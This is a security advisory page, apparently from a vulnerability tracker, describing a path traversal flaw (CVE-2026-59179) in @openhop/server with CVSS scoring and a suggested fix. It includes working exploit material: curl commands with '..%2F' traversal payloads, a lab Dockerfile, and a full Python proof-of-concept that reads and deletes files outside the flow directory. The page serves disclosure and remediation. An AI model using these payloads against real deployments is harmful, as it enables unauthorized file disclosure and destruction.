Kestrel
대시보드로 돌아가기
CVE-2026-59179HIGH· 8.3GHSA대응게시일: 2026. 09. 09.수정일: 2026. 09. 09.

@openhop/server: Path Traversal in Flow ID File Operations

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.3high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향낮음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.3HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H

상세 설명

Path Traversal in Flow ID File Operations

Summary

@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).

Details

FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:

text
1// packages/server/src/store.ts:52-53
2private filePath(id: string): string {
3 return join(this.dir, `${id}.yaml`)
4}

This result is consumed by two sinks:

  • Read (packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8')
  • Delete (packages/server/src/store.ts:105): unlink(this.filePath(id))

The id value originates from unauthenticated Fastify HTTP route parameters:

  • GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333–335
  • DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539–541

The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.

Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.

Full data-flow (read path):

  1. HTTP GET /api/flows/..%2Fvictim received (routes.ts:306)
  2. find-my-way decodes ..%2Fvictimreq.params.id = '../victim' (routes.ts:333)
  3. store.get('../victim')filePath('../victim')join('/data/flows', '../victim.yaml')/data/victim.yaml (store.ts:52–53)
  4. readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78)
  5. Server responds HTTP 200 with YAML-parsed JSON body

Full data-flow (delete path):

  1. HTTP DELETE /api/flows/..%2Fdelete-me received (routes.ts:509)
  2. find-my-way decodes ..%2Fdelete-mereq.params.id = '../delete-me' (routes.ts:539)
  3. store.delete('../delete-me')filePath('../delete-me')join('/data/flows', '../delete-me.yaml')/data/delete-me.yaml (store.ts:52–53)
  4. unlink('/data/delete-me.yaml') removes the file (store.ts:105)
  5. Server responds HTTP 204

PoC

Environment setup (Docker):

bash
1# Build from repository root
2docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
3
4# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
5docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.

Attack 1 — Read file outside flow store:

bash
1curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'

Expected response:

text
1HTTP/1.1 200 OK
2Content-Type: application/json; charset=utf-8
3
4{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}

Attack 2 — Delete file outside flow store:

bash
1curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'

Expected response:

text
1HTTP/1.1 204 No Content

Verify deletion:

bash
1docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
2# Output: deleted

Automated PoC script:

text
1python3 poc.py 127.0.0.1 8799

Recommended fix:

text
1--- a/packages/server/src/store.ts
2+++ b/packages/server/src/store.ts
3+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
4+
5 private filePath(id: string): string {
6+ if (!FLOW_ID_PATTERN.test(id)) {
7+ throw new Error('Invalid flow id')
8+ }
9 return join(this.dir, `${id}.yaml`)
10 }

Impact

This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).

Affected parties:

  • Users running openhop serve locally — exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799.
  • Docker/server deploymentsHOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.

An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.

Reproduction artifacts

Dockerfile
bash
1# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
2#
3# Build context: the repository root (naorsabag/openhop)
4# Usage:
5# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
6# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
7#
8# Data layout inside the container:
9# /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)
10# /data/victim.yaml <- OUTSIDE the flow store (path traversal read target)
11# /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
12#
13# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
14# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.
15
16FROM node:22-alpine
17
18WORKDIR /app
19
20# Copy package manifests so npm can resolve workspace dependency graph.
21COPY package*.json ./
22COPY packages/server/package*.json packages/server/
23COPY packages/shared/package*.json packages/shared/
24COPY packages/cli/package*.json packages/cli/
25COPY packages/web/package*.json packages/web/
26
27# Copy TypeScript configs and source files BEFORE npm install.
28# The @openhop/server package has a "prepare" lifecycle that runs
29# `tsc && esbuild` during npm install, so all sources must be present.
30COPY tsconfig.base.json ./
31COPY packages/server/tsconfig*.json packages/server/
32COPY packages/server/src/ packages/server/src/
33COPY packages/shared/src/ packages/shared/src/
34
35# Install all workspace dependencies.
36# The @openhop/server prepare script will compile to dist/server.js.
37# We run the server via tsx (direct TypeScript), so the compiled output
38# is not required at runtime but the prepare step must not fail.
39RUN npm install
40
41# Set up the data directory layout for the PoC.
42# /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)
43# /data/victim.yaml -> outside the store; represents a sensitive file that
44# MUST NOT be reachable via the API without sanitization
45RUN mkdir -p /data/flows && \
46 printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \
47 > /data/victim.yaml && \
48 printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \
49 > /data/delete-me.yaml
50
51# Server listens on 8799 inside the container.
52EXPOSE 8799
53
54# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
55# HOST=0.0.0.0 makes the server reachable from outside the container.
56ENV OPENHOP_DATA_DIR=/data/flows
57ENV HOST=0.0.0.0
58ENV PORT=8799
59
60# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
61CMD ["npx", "tsx", "packages/server/src/index.ts"]
poc.py
python
1#!/usr/bin/env python3
2"""
3PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
4Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
5VULN-001 — CVSS 8.3 High
6
7Vulnerability:
8 FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
9 return join(this.dir, `${id}.yaml`)
10 with no sanitization on `id`. The route GET /api/flows/:id passes
11 `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
12 to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
13 the URL is decoded to "../victim", causing path.join to escape the
14 configured data directory.
15
16Attack Vectors:
17 READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml
18 DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml
19
20Both routes are unauthenticated (routes.ts:306, 509).
21
22Usage:
23 python3 poc.py [host] [port]
24 python3 poc.py 127.0.0.1 8799
25"""
26
27import http.client
28import json
29import sys
30import time
31
32HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
33PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
34
35# URL-encoded payloads: %2F is a percent-encoded "/" character.
36# find-my-way treats ".." and "%2F" together as a single path segment
37# (no literal "/" split), then decodes the segment to "../victim".
38TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
39TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"
40
41
42def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
43 """Poll until the OpenHop server returns any response on /api/flows."""
44 deadline = time.time() + timeout
45 print(f"[*] Waiting for server at http://{host}:{port} ...")
46 while time.time() < deadline:
47 try:
48 conn = http.client.HTTPConnection(host, port, timeout=2)
49 conn.request("GET", "/api/flows")
50 r = conn.getresponse()
51 r.read()
52 conn.close()
53 print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
54 return True
55 except Exception:
56 time.sleep(1)
57 return False
58
59
60def raw_http(method: str, host: str, port: int, path: str):
61 """
62 Send an HTTP request with the path exactly as given — no normalization.
63 http.client does NOT percent-decode or normalize the path string, so
64 '..%2F' reaches the server verbatim and Fastify's router decodes it.
65 """
66 conn = http.client.HTTPConnection(host, port, timeout=10)
67 conn.request(method, path)
68 resp = conn.getresponse()
69 body = resp.read()
70 conn.close()
71 return resp.status, body
72
73
74def main() -> int:
75 print("=" * 62)
76 print("VULN-001 Path Traversal in OpenHop Flow ID File Operations")
77 print("=" * 62)
78 print(f"[*] Target : http://{HOST}:{PORT}")
79 print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)")
80 print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)")
81 print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml")
82 print()
83
84 if not wait_for_server(HOST, PORT):
85 print("[-] Server did not become ready within timeout. ABORT.")
86 return 1
87
88 print()
89 passed_read = False
90 passed_delete = False
91
92 # ── Attack 1: Read a file outside the configured flow store ─────────
93 print("[*] Attack 1 — READ path traversal")
94 print(f" Request : GET {TRAVERSAL_GET_PATH}")
95 print(f" Decoded : id = ../victim")
96 print(f" Resolves: path.join('/data/flows', '../victim.yaml')")
97 print(f" = /data/victim.yaml (outside flow store)")
98
99 status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
100 body_text = body.decode("utf-8", errors="replace")
101
102 print(f" Status : {status}")
103 print(f" Body : {body_text[:600]}")
104
105 if status == 200:
106 try:
107 data = json.loads(body_text)
108 title = data.get("meta", {}).get("title", "")
109 if "SECRET_OUTSIDE_FILE" in title:
110 print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
111 print(f" Leaked title field = {title!r}")
112 passed_read = True
113 else:
114 print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
115 print(f" Full response: {data}")
116 # Still count as read-traversal success if we got a valid flow back
117 if "meta" in data or "flow" in data:
118 print("[PASS] READ confirmed: path traversal returned a flow from outside store")
119 passed_read = True
120 except json.JSONDecodeError:
121 print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
122 else:
123 print(f"[FAIL] Expected HTTP 200, got {status}")
124
125 print()
126
127 # ── Attack 2: Delete a file outside the configured flow store ────────
128 print("[*] Attack 2 — DELETE path traversal")
129 print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}")
130 print(f" Decoded : id = ../delete-me")
131 print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')")
132 print(f" = /data/delete-me.yaml (outside flow store)")
133
134 status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
135 body_text = body.decode("utf-8", errors="replace")
136
137 print(f" Status : {status}")
138 if body_text:
139 print(f" Body : {body_text[:200]}")
140
141 if status in (200, 204):
142 print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
143 passed_delete = True
144 else:
145 print(f"[FAIL] Expected HTTP 204, got {status}")
146
147 # ── Summary ─────────────────────────────────────────────────────────
148 print()
149 print("=" * 62)
150 if passed_read and passed_delete:
151 print("[RESULT] PASS — Both read and delete path traversal exploited")
152 return 0
153 elif passed_read:
154 print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
155 return 1
156 else:
157 print("[RESULT] FAIL — Exploit did not succeed")
158 return 2
159
160
161if __name__ == "__main__":
162 sys.exit(main())

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.